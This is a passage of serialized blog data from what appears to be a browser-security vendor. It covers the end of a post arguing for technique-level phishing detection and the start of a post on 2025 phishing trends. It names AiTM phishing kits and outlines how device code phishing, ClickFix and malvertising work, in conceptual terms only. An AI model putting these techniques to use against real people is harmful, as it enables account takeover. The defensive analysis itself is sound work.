delivery",{"data":8174,"content":8175,"nodeType":866},{},[8176],{"data":8177,"marks":8178,"value":8179,"nodeType":865},{},[],"Attackers are harnessing AI at every stage, speeding up the process of creating, rotating, and replacing phishing infrastructure at every level, as well as capitalizing on AI adoption itself to enhance their lures. The operational signature is more domains, shorter lifespans, more variation, and fewer of the reuse patterns that blocklists depend on.",{"data":8181,"content":8182,"nodeType":866},{},[8183,8187,8194],{"data":8184,"marks":8185,"value":8186,"nodeType":865},{},[],"Attackers can ",{"data":8188,"content":8189,"nodeType":889},{"uri":1445},[8190],{"data":8191,"marks":8192,"value":8193,"nodeType":865},{},[],"vibe-code entire phishing pages in minutes",{"data":8195,"marks":8196,"value":8197,"nodeType":865},{},[]," — not just cloning legitimate login pages but vibe-cloning them, feeding an AI a screenshot and having it rebuild a convincing frontend with a completely unique backend. ",{"data":8199,"content":8200,"nodeType":866},{},[8201,8205,8214,8218,8226],{"data":8202,"marks":8203,"value":8204,"nodeType":865},{},[],"We've seen attackers clone free SaaS tools like background removers and PDF converters, then inject phishing components or ClickFix payloads into what looks like a functional utility. We’ve even seen attackers distributing malware using AI-generated pages shared using ",{"data":8206,"content":8208,"nodeType":889},{"uri":8207},"https://pushsecurity.com/blog/llmshare-malvertising-campaign/",[8209],{"data":8210,"marks":8211,"value":8213,"nodeType":865},{},[8212],{"type":1191},"LLM tool sharing functionality",{"data":8215,"marks":8216,"value":8217,"nodeType":865},{},[],", resulting in phishing delivery pages hosted on real claude.ai and chatgpt.com. And legitimate cloud platforms like ",{"data":8219,"content":8221,"nodeType":889},{"uri":8220},"https://www.huntress.com/blog/railway-paas-m365-token-replay-campaign",[8222],{"data":8223,"marks":8224,"value":8225,"nodeType":865},{},[],"Railway",{"data":8227,"marks":8228,"value":8229,"nodeType":865},{},[],", Cloudflare Workers, and Vercel host and dynamically rotate attack infrastructure, so the domains feeding into blocklists often belong to reputable services that can't simply be blocked. ",{"data":8231,"content":8235,"nodeType":921},{"target":8232},{"sys":8233},{"id":8234,"type":918,"linkType":919},"5yoLmqysyQazfzLITCUTfc",[],{"data":8237,"content":8241,"nodeType":921},{"target":8238},{"sys":8239},{"id":8240,"type":918,"linkType":919},"5XK5qZMQU19xlA8L2T5y0Z",[],{"data":8243,"content":8244,"nodeType":1229},{},[8245],{"data":8246,"marks":8247,"value":8249,"nodeType":865},{},[8248],{"type":935},"The kit ecosystem is fragmenting faster than anyone can track",{"data":8251,"content":8252,"nodeType":866},{},[8253],{"data":8254,"marks":8255,"value":8256,"nodeType":865},{},[],"What we see across our install base is a huge and growing variation in phishing kits — new kits, derivative kits of known platforms, derivatives of those derivatives — appearing on a weekly basis.",{"data":8258,"content":8259,"nodeType":866},{},[8260,8264,8271],{"data":8261,"marks":8262,"value":8263,"nodeType":865},{},[],"As we reported in our ",{"data":8265,"content":8266,"nodeType":889},{"uri":2609},[8267],{"data":8268,"marks":8269,"value":8270,"nodeType":865},{},[],"Browser Attacks Report",{"data":8272,"marks":8273,"value":8274,"nodeType":865},{},[],", the most common AiTM kits we detected over the last year were Tycoon 2FA (59% of detections), followed by Sneaky 2FA, FlowerStorm, Evilginx (nominally a red team tool, but widely abused by attackers), NakedPages, Gabagool, and dozens more — but those established names are just the visible layer.",{"data":8276,"content":8277,"nodeType":866},{},[8278,8282,8290,8294,8301],{"data":8279,"marks":8280,"value":8281,"nodeType":865},{},[],"Code is forked, modified, and redeployed across kits in a pattern that ",{"data":8283,"content":8285,"nodeType":889},{"uri":8284},"https://blog.barracuda.com/2026/04/16/threat-spotlight-tycoon-2fa-scattered-everywhere",[8286],{"data":8287,"marks":8288,"value":8289,"nodeType":865},{},[],"resembles open-source development",{"data":8291,"marks":8292,"value":8293,"nodeType":865},{},[]," more than traditional criminal enterprise, and the rate at which new variants appear is accelerating. The ",{"data":8295,"content":8296,"nodeType":889},{"uri":2169},[8297],{"data":8298,"marks":8299,"value":8300,"nodeType":865},{},[],"Venom kit",{"data":8302,"marks":8303,"value":8304,"nodeType":865},{},[]," reuses Sneaky 2FA's AiTM infrastructure but carries different branding and adds device code phishing — whether it's the same developers, stolen code, or a deliberate fork is unclear.",{"data":8306,"content":8307,"nodeType":866},{},[8308,8312,8320,8324,8333],{"data":8309,"marks":8310,"value":8311,"nodeType":865},{},[],"Tycoon 2FA illustrates the scale of the evolution. The kit evolves continuously, addingnew capabilities, new evasion techniques, and hybridizing with other platforms. Even when Sekoia and Microsoft seized 330+ Tycoon domains in March 2026, the techniques it popularized were already embedded across competitors, and the slack was taken up by rival platforms within days. And in any case, Tycoon was back to ",{"data":8313,"content":8315,"nodeType":889},{"uri":8314},"https://www.crowdstrike.com/en-us/blog/tycoon2fa-phishing-as-a-service-platform-persists-following-takedown/",[8316],{"data":8317,"marks":8318,"value":8319,"nodeType":865},{},[],"normal levels of operation",{"data":8321,"marks":8322,"value":8323,"nodeType":865},{},[]," shortly after. It has also been observed ",{"data":8325,"content":8327,"nodeType":889},{"uri":8326},"https://www.okta.com/en-nl/blog/threat-intelligence/tycoon_2fa_phishing_actors_scatter/",[8328],{"data":8329,"marks":8330,"value":8332,"nodeType":865},{},[8331],{"type":1191},"pivoting to add new device code phishing capabilities",{"data":8334,"marks":8335,"value":8336,"nodeType":865},{},[]," (more on that below). ",{"data":8338,"content":8339,"nodeType":866},{},[8340],{"data":8341,"marks":8342,"value":8343,"nodeType":865},{},[],"Tear one down and there are many more to take its place — and meanwhile the original is already evolving into something new.",{"data":8345,"content":8349,"nodeType":921},{"target":8346},{"sys":8347},{"id":8348,"type":918,"linkType":919},"3UDzUCCizPJhXp3SsoZuSK",[],{"data":8351,"content":8352,"nodeType":1229},{},[8353],{"data":8354,"marks":8355,"value":8357,"nodeType":865},{},[8356],{"type":935},"New techniques are being industrialized faster than ever",{"data":8359,"content":8360,"nodeType":866},{},[8361],{"data":8362,"marks":8363,"value":8364,"nodeType":865},{},[],"As well as the fragmentation of existing kits, we’re seeing new techniques added at an accelerating rate. ",{"data":8366,"content":8367,"nodeType":866},{},[8368,8372],{"data":8369,"marks":8370,"value":360,"nodeType":865},{},[8371],{"type":935},{"data":8373,"marks":8374,"value":8375,"nodeType":865},{},[]," is the clearest case study. From early nation state adoption in 2024, it took until 2026 for criminal adoption to really take off, but the take-up this year is unprecedented. The EvilTokens kit packaged device code phishing into a PhaaS offering with GPT-powered spear-phishing and adaptive landing pages, hitting 340+ organizations across five countries in March 2026. ",{"data":8377,"content":8378,"nodeType":866},{},[8379],{"data":8380,"marks":8381,"value":8382,"nodeType":865},{},[],"Now, device code functionality is now a core phish kit component. We’re tracking 18+ kits with device code phishing capabilities and a 37.5x increase in device code phishing detections this year alone, with the technique moving from state-sponsored exclusivity to something any PhaaS customer can rent.",{"data":8384,"content":8385,"nodeType":866},{},[8386,8390,8398,8402,8407,8411,8420],{"data":8387,"marks":8388,"value":8389,"nodeType":865},{},[],"Similarly, when we ",{"data":8391,"content":8393,"nodeType":889},{"uri":8392},"https://pushsecurity.com/blog/inside-criminal-phishing-panel",[8394],{"data":8395,"marks":8396,"value":8397,"nodeType":865},{},[],"infiltrated Doko's Panel",{"data":8399,"marks":8400,"value":8401,"nodeType":865},{},[]," — a ",{"data":8403,"marks":8404,"value":8406,"nodeType":865},{},[8405],{"type":935},"real-time vishing and AiTM platform",{"data":8408,"marks":8409,"value":8410,"nodeType":865},{},[]," used by ShinyHunters and affiliated groups — the codebase was full of LLM-generated artifacts. Multiple groups were using the templated vishing panel and spinning up their own variants, but the AI-generated indicators persisted throughout. This approach to real-time vishing + browser payload has been a ",{"data":8412,"content":8414,"nodeType":889},{"uri":8413},"https://pushsecurity.com/blog/analyzing-the-instructure-breach/",[8415],{"data":8416,"marks":8417,"value":8419,"nodeType":865},{},[8418],{"type":1191},"mainstay of the Com affiliates like ShinyHunters this year",{"data":8421,"marks":8422,"value":4835,"nodeType":865},{},[],{"data":8424,"content":8427,"nodeType":921},{"target":8425},{"sys":8426},{"id":4451,"type":918,"linkType":919},[],{"data":8429,"content":8430,"nodeType":866},{},[8431,8435,8439,8443,8452,8456,8464],{"data":8432,"marks":8433,"value":8434,"nodeType":865},{},[],"The broader ",{"data":8436,"marks":8437,"value":315,"nodeType":865},{},[8438],{"type":935},{"data":8440,"marks":8441,"value":8442,"nodeType":865},{},[]," family shows the same acceleration: First reported in early 2024 and adopted by four nation-state groups within a single quarter. Fast forward and ",{"data":8444,"content":8446,"nodeType":889},{"uri":8445},"https://www.crowdstrike.com/en-us/global-threat-report/",[8447],{"data":8448,"marks":8449,"value":8451,"nodeType":865},{},[8450],{"type":1191},"CrowdStrike's data",{"data":8453,"marks":8454,"value":8455,"nodeType":865},{},[]," shows a 563% increase in fake CAPTCHA incidents (one of the more common ClickFix lure types), while ",{"data":8457,"content":8458,"nodeType":889},{"uri":2031},[8459],{"data":8460,"marks":8461,"value":8463,"nodeType":865},{},[8462],{"type":1191},"Microsoft reported",{"data":8465,"marks":8466,"value":8467,"nodeType":865},{},[]," it as making up 47% of observed attacks according to their Digital Defense Report.",{"data":8469,"content":8470,"nodeType":866},{},[8471,8475,8479,8483,8490,8494,8501],{"data":8472,"marks":8473,"value":8474,"nodeType":865},{},[],"And ",{"data":8476,"marks":8477,"value":2101,"nodeType":865},{},[8478],{"type":935},{"data":8480,"marks":8481,"value":8482,"nodeType":865},{},[]," — a combination of ClickFix and OAuth consent phishing techniques — suggests the next compression is already underway. Push researchers ",{"data":8484,"content":8485,"nodeType":889},{"uri":2096},[8486],{"data":8487,"marks":8488,"value":8489,"nodeType":865},{},[],"discovered the technique",{"data":8491,"marks":8492,"value":8493,"nodeType":865},{},[]," in December 2025 — a browser-native ClickFix variant hijacking OAuth consent grants via Azure CLI's localhost redirect. It was later confirmed to be tied to APT29. By January 2026, a ",{"data":8495,"content":8496,"nodeType":889},{"uri":2135},[8497],{"data":8498,"marks":8499,"value":8500,"nodeType":865},{},[],"criminal ConsentFix v3 toolkit",{"data":8502,"marks":8503,"value":8504,"nodeType":865},{},[]," had appeared on the XSS forum with Cloudflare Workers, ZoomInfo targeting, and automated exfiltration via Pipedream.",{"data":8506,"content":8510,"nodeType":921},{"target":8507},{"sys":8508},{"id":8509,"type":918,"linkType":919},"41FMif4T0y1maflzonWgL8",[],{"data":8512,"content":8513,"nodeType":944},{},[],{"data":8515,"content":8516,"nodeType":953},{},[8517],{"data":8518,"marks":8519,"value":8521,"nodeType":865},{},[8520],{"type":935},"Why technique-level detection is the only layer that holds",{"data":8523,"content":8524,"nodeType":866},{},[8525],{"data":8526,"marks":8527,"value":8528,"nodeType":865},{},[],"The middle of the Pyramid — tool signatures and artifacts — used to offer much more durable detection than infrastructure indicators. Fingerprinting a specific phishing kit by its JavaScript structure or HTML patterns provided a detection target that survived across dozens or hundreds of campaigns, even as the underlying domains rotated. Tool level detections are still better, but not by quite the same margin.",{"data":8530,"content":8534,"nodeType":921},{"target":8531},{"sys":8532},{"id":8533,"type":918,"linkType":919},"5pxaYdCIFiFKLPhRaPoldX",[],{"data":8536,"content":8537,"nodeType":866},{},[8538],{"data":8539,"marks":8540,"value":8541,"nodeType":865},{},[],"When the kit landscape was dominated by a handful of platforms, you could write signatures for Tycoon, Sneaky2FA, EvilProxy, and so on, and cover the lion's share of attacks. With the ecosystem now producing new variants and entirely new kits on a weekly basis, detecting by kit fingerprint starts to look uncomfortably similar to detecting by domain.",{"data":8543,"content":8544,"nodeType":866},{},[8545],{"data":8546,"marks":8547,"value":8548,"nodeType":865},{},[],"But many of these proliferating kits do share behavioral patterns at a deeper level than their code signatures. For example, every device code phishing kit implements fundamentally the same flow: present a lure, generate a device code via the OAuth Device Authorization endpoint, get the user to enter it on the legitimate authorization page, and poll for the resulting tokens. The frontends vary, the infrastructure varies, but the behavioral pattern doesn't.",{"data":8550,"content":8554,"nodeType":921},{"target":8551},{"sys":8552},{"id":8553,"type":918,"linkType":919},"FyyHayQtsJTwoB1kluMOl",[],{"data":8556,"content":8557,"nodeType":866},{},[8558],{"data":8559,"marks":8560,"value":8561,"nodeType":865},{},[],"Genuinely new attack techniques still require human creativity — an attacker has to identify a gap in how a legitimate protocol or feature can be subverted. That kind of innovation hasn't been automated. But the window to discover a technique, build a detection, and then deploy it before it is adopted by criminals at scale is compressing with each generation.",{"data":8563,"content":8564,"nodeType":866},{},[8565],{"data":8566,"marks":8567,"value":8568,"nodeType":865},{},[],"Organizations that detect at the technique level and deploy before commoditization have a structural advantage that increases over time. Waiting for indicators — even tool-level indicators — means chasing a curve that's accelerating away from you. This is the challenge we grapple with every day as we strive for the most resilient detections possible. ",{"data":8570,"content":8571,"nodeType":7191},{},[8572],{"data":8573,"content":8574,"nodeType":866},{},[8575,8578,8584,8587],{"data":8576,"marks":8577,"value":7173,"nodeType":865},{},[],{"data":8579,"content":8580,"nodeType":889},{"uri":7176},[8581],{"data":8582,"marks":8583,"value":7181,"nodeType":865},{},[],{"data":8585,"marks":8586,"value":7185,"nodeType":865},{},[],{"data":8588,"marks":8589,"value":7190,"nodeType":865},{},[8590],{"type":965},{"data":8592,"content":8593,"nodeType":944},{},[],{"data":8595,"content":8596,"nodeType":953},{},[8597],{"data":8598,"marks":8599,"value":8601,"nodeType":865},{},[8600],{"type":935},"What it takes to detect at the top of the Pyramid",{"data":8603,"content":8604,"nodeType":866},{},[8605],{"data":8606,"marks":8607,"value":8608,"nodeType":865},{},[],"If technique-level detection is the only layer that holds, two things have to be true about your detection capability: You need the right vantage point, and you need the research velocity to stay ahead.",{"data":8610,"content":8611,"nodeType":1229},{},[8612],{"data":8613,"marks":8614,"value":8616,"nodeType":865},{},[8615],{"type":935},"You need the right vantage point",{"data":8618,"content":8619,"nodeType":866},{},[8620],{"data":8621,"marks":8622,"value":8623,"nodeType":865},{},[],"Technique-level behaviors in browser-based identity attacks — how a phishing page orchestrates credential entry, how a device code flow presents its authorization prompt, how a ClickFix variant manipulates the clipboard — are visible in the browser session and nowhere else.",{"data":8625,"content":8626,"nodeType":866},{},[8627],{"data":8628,"marks":8629,"value":8630,"nodeType":865},{},[],"Network proxies see encrypted traffic and can attempt to reconstruct page behavior from metadata, but DOM manipulation, user interaction sequences, and script execution aren't visible from that vantage point. Email gateways see the delivery mechanism (or nothing at all in the increasing number of social media and search engine based attacks) but not the payload.",{"data":8632,"content":8633,"nodeType":866},{},[8634,8638,8646],{"data":8635,"marks":8636,"value":8637,"nodeType":865},{},[],"As we disclosed in our ",{"data":8639,"content":8640,"nodeType":889},{"uri":2609},[8641],{"data":8642,"marks":8643,"value":8645,"nodeType":865},{},[8644],{"type":1191},"browser attacks report",{"data":8647,"marks":8648,"value":8649,"nodeType":865},{},[],", 95% of in-browser attacks we detect use some form of bot protection, often combined with conditional loading techniques like referrer and browser checks, reliably defeating automated analysis techniques. ",{"data":8651,"content":8652,"nodeType":866},{},[8653],{"data":8654,"marks":8655,"value":8656,"nodeType":865},{},[],"Behavioral detection at the technique level requires observing what happens on the page at the moment the user interacts with it — analyzing pages, not links. When you see the entire browsing flow — ad click, redirect chain, page render, credential prompt — an attack stands out immediately. Without that context, any detection system is forced to fill in gaps, and the gaps are where attacks hide.",{"data":8658,"content":8662,"nodeType":921},{"target":8659},{"sys":8660},{"id":8661,"type":918,"linkType":919},"4804g6u4POUDpL42bzP0EY",[],{"data":8664,"content":8665,"nodeType":866},{},[8666],{"data":8667,"marks":8668,"value":8669,"nodeType":865},{},[],"Push sits inside the browser session, observing this in real time. Its detections target the behavioral mechanics of techniques rather than the surface characteristics of individual kits or infrastructure.",{"data":8671,"content":8672,"nodeType":1229},{},[8673],{"data":8674,"marks":8675,"value":8677,"nodeType":865},{},[8676],{"type":935},"You need the research expertise",{"data":8679,"content":8680,"nodeType":866},{},[8681],{"data":8682,"marks":8683,"value":8684,"nodeType":865},{},[],"When the window between technique discovery and industrialized exploitation is measured in weeks rather than years, the detection pipeline needs to operate on that same compressed timescale.",{"data":8686,"content":8687,"nodeType":866},{},[8688,8692,8698],{"data":8689,"marks":8690,"value":8691,"nodeType":865},{},[],"This is where our ",{"data":8693,"content":8694,"nodeType":889},{"uri":1445},[8695],{"data":8696,"marks":8697,"value":1450,"nodeType":865},{},[],{"data":8699,"marks":8700,"value":8701,"nodeType":865},{},[]," fits. It's tripled our monthly detection output — not by generating bigger blocklists, but by scaling the process of discovering behavioral patterns across the telemetry generated by 3+ million browser deployments.",{"data":8703,"content":8704,"nodeType":866},{},[8705],{"data":8706,"marks":8707,"value":8708,"nodeType":865},{},[],"The detections it produces are technique-class by design, targeting how attacks work rather than the infrastructure or specific tool that implements them. The goal is curation, not accumulation — hundreds of high-fidelity behavioral detections rather than the billions of signatures and domain entries that traditional approaches require.",{"data":8710,"content":8711,"nodeType":866},{},[8712,8716,8722],{"data":8713,"marks":8714,"value":8715,"nodeType":865},{},[],"When we detected the first in-the-wild ",{"data":8717,"content":8718,"nodeType":889},{"uri":1693},[8719],{"data":8720,"marks":8721,"value":5767,"nodeType":865},{},[],{"data":8723,"marks":8724,"value":8725,"nodeType":865},{},[]," through the pipeline — a user had searched for NotebookLM, clicked a paid Google ad, and was redirected to a fake page with a WebAssembly C2 connector — the detection shipped to all customers within minutes. It didn't depend on knowing the domain, the ad creative, or the specific kit. It depended on recognizing the technique itself.",{"data":8727,"content":8728,"nodeType":944},{},[],{"data":8730,"content":8731,"nodeType":953},{},[8732],{"data":8733,"marks":8734,"value":8736,"nodeType":865},{},[8735],{"type":935},"Technique-level detection is now the only option",{"data":8738,"content":8739,"nodeType":866},{},[8740],{"data":8741,"marks":8742,"value":8743,"nodeType":865},{},[],"As a framework for detection durability, the Pyramid of Pain is more relevant than ever. ",{"data":8745,"content":8746,"nodeType":866},{},[8747],{"data":8748,"marks":8749,"value":8750,"nodeType":865},{},[],"AI has made infrastructure indicators essentially disposable. The tools tier is compressing as criminal vendors vibe-code, fork, and clone tooling at machine speed. Technique-level detection is the layer that holds long-term to be able to proactively detect and block net-new attacks and the kits that power them. ",{"data":8752,"content":8753,"nodeType":866},{},[8754],{"data":8755,"marks":8756,"value":8757,"nodeType":865},{},[],"Novel attack techniques still require human creativity to discover, and detections built around how those techniques work can survive infrastructure rotation, tool proliferation, and kit fragmentation. Defending that layer requires a vantage point inside the browser session and a research pipeline fast enough to stay ahead of the accelerating path from discovery to industrialization.",{"data":8759,"content":8760,"nodeType":944},{},[],{"data":8762,"content":8763,"nodeType":866},{},[8764],{"data":8765,"marks":8766,"value":1471,"nodeType":865},{},[],{"data":8768,"content":8769,"nodeType":866},{},[8770],{"data":8771,"marks":8772,"value":1478,"nodeType":865},{},[],{"data":8774,"content":8775,"nodeType":866},{},[8776,8779,8787],{"data":8777,"marks":8778,"value":21,"nodeType":865},{},[],{"data":8780,"content":8781,"nodeType":889},{"uri":2644},[8782],{"data":8783,"marks":8784,"value":8786,"nodeType":865},{},[8785],{"type":1191},"Book a live demo",{"data":8788,"marks":8789,"value":2653,"nodeType":865},{},[],"The Pyramid of Pain in the AI era: Why technique-level detection matters more than ever","AI is accelerating the collapse of indicator-based threat detection. Here's why you need technique-level detection to stay ahead.","2026-06-01T00:00:00.000Z","the-pyramid-of-pain-in-the-ai-era",{"items":8795},[8796,8798],{"sys":8797,"name":342},{"id":2666},{"sys":8799,"name":2663},{"id":2662},{"items":8801},[8802],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":8803},{"url":2674},"can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline","blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",{"json":8807},{"data":8808,"content":8809,"nodeType":1663},{},[8810],{"data":8811,"content":8812,"nodeType":866},{},[8813],{"data":8814,"marks":8815,"value":8816,"nodeType":865},{},[],"What does agentic threat hunting against modern browser-based attacks actually look like? At Push, we built an end-to-end threat hunting and detection engineering capability that uses AI agents as a force multiplier, tripling the number of new detections we’re shipping each month. Here’s how it works.","How we built an end-to-end threat hunting and detection engineering capability at Push that uses AI agents as a force multiplier.",{"id":8819,"publishedAt":8820},"1jfqiWQlL6qkn3i9yjNbFB","2026-08-12T11:52:54.643Z",{"items":8822},[8823,8825],{"sys":8824,"name":2663},{"id":2662},{"sys":8826,"name":342},{"id":2666},{"items":8828},[8829,8831,8833,8835,8837,8839,8841,8843,8845,8847,8849,8851,8853,8855,8857,8859,8861],{"sys":8830,"name":297,"slug":298,"tier":31},{"id":294},{"sys":8832,"name":235,"slug":236,"tier":31},{"id":232},{"sys":8834,"name":342,"slug":343,"tier":31},{"id":339},{"sys":8836,"name":279,"slug":280,"tier":31},{"id":276},{"sys":8838,"name":519,"slug":520,"tier":31},{"id":516},{"sys":8840,"name":351,"slug":352,"tier":45},{"id":348},{"sys":8842,"name":315,"slug":316,"tier":45},{"id":312},{"sys":8844,"name":440,"slug":441,"tier":45},{"id":437},{"sys":8846,"name":244,"slug":245,"tier":45},{"id":241},{"sys":8848,"name":261,"slug":262,"tier":45},{"id":258},{"sys":8850,"name":511,"slug":512,"tier":45},{"id":508},{"sys":8852,"name":360,"slug":361,"tier":45},{"id":357},{"sys":8854,"name":484,"slug":485,"tier":45},{"id":481},{"sys":8856,"name":448,"slug":449,"tier":45},{"id":445},{"sys":8858,"name":563,"slug":564,"tier":45},{"id":560},{"sys":8860,"name":324,"slug":325,"tier":45},{"id":321},{"sys":8862,"name":571,"slug":572,"tier":45},{"id":568},"EIw901ieTSJKgYUJtBGNL0gxQIxXjCkEBakCEa5VEHA",{"id":8865,"title":8866,"authorsCollection":8867,"content":8873,"extension":228,"faqItemsCollection":9637,"faqTitle":59,"featured":6,"hashTags":59,"meta":9639,"metaTitle":9640,"ogImage":59,"postType":6775,"publishedDate":9641,"relatedBlogPostsCollection":9642,"slug":12064,"stem":12065,"subtitle":59,"summary":12066,"synopsis":12077,"sys":12078,"tagsCollection":12081,"topicsCollection":12087,"__hash__":12133},"blog/blog/2025-top-phishing-trends.json","2025’s top phishing trends — and what they mean for your 2026 security strategy",{"items":8868},[8869],{"fullName":2670,"firstName":2671,"jobTitle":2672,"socialLinks":8870,"profilePicture":8872},[8871],"https://www.linkedin.com/in/daniel-g-/",{"url":2674},{"json":8874,"links":9548},{"data":8875,"content":8876,"nodeType":1663},{},[8877,8883,8890,8897,8900,8908,8915,8922,8929,9025,9031,9037,9043,9050,9057,9076,9079,9087,9094,9101,9108,9153,9160,9206,9212,9219,9226,9229,9237,9244,9251,9258,9330,9336,9342,9374,9380,9399,9405,9412,9419,9425,9428,9436,9443,9476,9483,9486,9494,9501,9508,9536,9542],{"data":8878,"content":8882,"nodeType":921},{"target":8879},{"sys":8880},{"id":8881,"type":918,"linkType":919},"1axcGwWxeKxDMk8jOWhYT6",[],{"data":8884,"content":8885,"nodeType":866},{},[8886],{"data":8887,"marks":8888,"value":8889,"nodeType":865},{},[],"2025 saw a huge amount of attacker innovation when it comes to phishing attacks, as attackers continue to double down on identity-based techniques. The continual evolution of phishing means it remains one of the most effective methods available to attackers today — in fact, it’s arguably more effective than ever. ",{"data":8891,"content":8892,"nodeType":866},{},[8893],{"data":8894,"marks":8895,"value":8896,"nodeType":865},{},[],"Let’s take a closer look at the key trends that defined phishing attacks in 2025, and what these changes mean for security teams heading into 2026. ",{"data":8898,"content":8899,"nodeType":944},{},[],{"data":8901,"content":8902,"nodeType":953},{},[8903],{"data":8904,"marks":8905,"value":8907,"nodeType":865},{},[8906],{"type":935},"#1: Phishing goes omni-channel",{"data":8909,"content":8910,"nodeType":866},{},[8911],{"data":8912,"marks":8913,"value":8914,"nodeType":865},{},[],"We’ve been talking about the rise of non-email phishing for some time now, but 2025 was the year phishing truly went omni-channel. ",{"data":8916,"content":8917,"nodeType":866},{},[8918],{"data":8919,"marks":8920,"value":8921,"nodeType":865},{},[],"Although most of the industry’s data on phishing still comes from email security vendors and tools, the picture is starting to change. Roughly 1 in 3 phishing attacks detected by Push Security were delivered outside of email. ",{"data":8923,"content":8924,"nodeType":866},{},[8925],{"data":8926,"marks":8927,"value":8928,"nodeType":865},{},[],"There are many examples of phishing campaigns operated outside of email, with LinkedIn DMs and Google Search being the top channels we identified. Notable campaigns include:",{"data":8930,"content":8931,"nodeType":2374},{},[8932,8954,8976],{"data":8933,"content":8934,"nodeType":2309},{},[8935],{"data":8936,"content":8937,"nodeType":866},{},[8938,8941,8950],{"data":8939,"marks":8940,"value":21,"nodeType":865},{},[],{"data":8942,"content":8944,"nodeType":889},{"uri":8943},"https://pushsecurity.com/blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack",[8945],{"data":8946,"marks":8947,"value":8949,"nodeType":865},{},[8948],{"type":1191},"A targeted campaign against tech company Exec’s",{"data":8951,"marks":8952,"value":8953,"nodeType":865},{},[]," delivered via compromised accounts on LinkedIn from other employees of the same organization, framed as an investment opportunity.",{"data":8955,"content":8956,"nodeType":2309},{},[8957],{"data":8958,"content":8959,"nodeType":866},{},[8960,8963,8972],{"data":8961,"marks":8962,"value":21,"nodeType":865},{},[],{"data":8964,"content":8966,"nodeType":889},{"uri":8965},"https://pushsecurity.com/blog/new-phishing-campaign-identified-targeting-linkedin-users",[8967],{"data":8968,"marks":8969,"value":8971,"nodeType":865},{},[8970],{"type":1191},"A campaign posing as a South American investment fund",{"data":8973,"marks":8974,"value":8975,"nodeType":865},{},[]," offering the opportunity to join the fund. ",{"data":8977,"content":8978,"nodeType":2309},{},[8979],{"data":8980,"content":8981,"nodeType":866},{},[8982,8986,8995,8999,9008,9012,9021],{"data":8983,"marks":8984,"value":8985,"nodeType":865},{},[],"Several malvertising campaigns capturing users searching for key search terms such as “",{"data":8987,"content":8989,"nodeType":889},{"uri":8988},"https://pushsecurity.com/blog/analysing-a-malvertising-attack-targeting-business-google-accounts",[8990],{"data":8991,"marks":8992,"value":8994,"nodeType":865},{},[8993],{"type":1191},"Google Ads",{"data":8996,"marks":8997,"value":8998,"nodeType":865},{},[],"”, “",{"data":9000,"content":9002,"nodeType":889},{"uri":9001},"https://pushsecurity.com/blog/analysing-a-sophisticated-google-malvertising-attack",[9003],{"data":9004,"marks":9005,"value":9007,"nodeType":865},{},[9006],{"type":1191},"TradingView",{"data":9009,"marks":9010,"value":9011,"nodeType":865},{},[],"” and “",{"data":9013,"content":9015,"nodeType":889},{"uri":9014},"https://pushsecurity.com/blog/investigating-a-recent-malvertising-campaign-targeting-onfido-customers",[9016],{"data":9017,"marks":9018,"value":9020,"nodeType":865},{},[9019],{"type":1191},"Onfido",{"data":9022,"marks":9023,"value":9024,"nodeType":865},{},[],"”. ",{"data":9026,"content":9030,"nodeType":921},{"target":9027},{"sys":9028},{"id":9029,"type":918,"linkType":919},"3LjyZooaJQ83eJt8DRX9bP",[],{"data":9032,"content":9036,"nodeType":921},{"target":9033},{"sys":9034},{"id":9035,"type":918,"linkType":919},"644LdQYjRHerpKU5pCGv1n",[],{"data":9038,"content":9042,"nodeType":921},{"target":9039},{"sys":9040},{"id":9041,"type":918,"linkType":919},"3anCGk5A4AOVH1t9dr1xKp",[],{"data":9044,"content":9045,"nodeType":866},{},[9046],{"data":9047,"marks":9048,"value":9049,"nodeType":865},{},[],"Phishing via non-email channels has a number of advantages. With email being the best protected phishing vector, it sidesteps these controls entirely. There’s no need to build up your sender reputation, find ways to trick content analysis engines, or hope your message doesn’t end up in the spam folder.",{"data":9051,"content":9052,"nodeType":866},{},[9053],{"data":9054,"marks":9055,"value":9056,"nodeType":865},{},[],"In comparison, non-email vectors have practically no screening, your security team has no visibility, and users are less likely to anticipate possible phishing. It’s arguable that a company Exec is more likely to engage with a LinkedIn DM from a reputable account than a cold email. And social media apps do nothing to analyse messages for phishing links. (And because of the limitations of URL-based checks when it comes to today’s multi-stage phishing attacks, this would be extremely difficult even if they tried). ",{"data":9058,"content":9059,"nodeType":866},{},[9060,9064,9072],{"data":9061,"marks":9062,"value":9063,"nodeType":865},{},[],"Search engines also present a huge opportunity for attackers, whether they’re compromising existing, high reputation sites, spinning up malicious ads, or simply vibe coding their own SEO-optimized websites. This is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":9065,"content":9067,"nodeType":889},{"uri":9066},"https://pushsecurity.com/blog/scattered-lapsus-hunters",[9068],{"data":9069,"marks":9070,"value":2304,"nodeType":865},{},[9071],{"type":1191},{"data":9073,"marks":9074,"value":9075,"nodeType":865},{},[],"” criminal collective, all of which began with identity-based initial access). ",{"data":9077,"content":9078,"nodeType":944},{},[],{"data":9080,"content":9081,"nodeType":953},{},[9082],{"data":9083,"marks":9084,"value":9086,"nodeType":865},{},[9085],{"type":935},"#2: Criminal PhaaS kits dominate",{"data":9088,"content":9089,"nodeType":866},{},[9090],{"data":9091,"marks":9092,"value":9093,"nodeType":865},{},[],"The vast majority of phishing attacks today use a reverse proxy. This means they are capable of bypassing most forms of MFA because a session is created and stolen in real time as part of the attack. There is no downside to this approach compared to the basic credential phishing that was the norm more than a decade ago.",{"data":9095,"content":9096,"nodeType":866},{},[9097],{"data":9098,"marks":9099,"value":9100,"nodeType":865},{},[],"These Attacker-in-the-Middle attacks are powered by criminal Phishing-as-a-Service (PhaaS) kits such as Tycoon, NakedPages, Sneaky2FA, Flowerstorm, Salty2FA, along with various Evilginx variations (nominally a tool for red teamers, but widely used by attackers). ",{"data":9102,"content":9103,"nodeType":866},{},[9104],{"data":9105,"marks":9106,"value":9107,"nodeType":865},{},[],"PhaaS kits are incredibly important to cybercrime because they make sophisticated and continuously evolving capabilities available to the criminal marketplace, lowering the barrier to entry for criminals running advanced phishing campaigns. This is not unique to phishing: Ransomware-as-a-Service, Credential Stuffing-as-a-Service, and many more 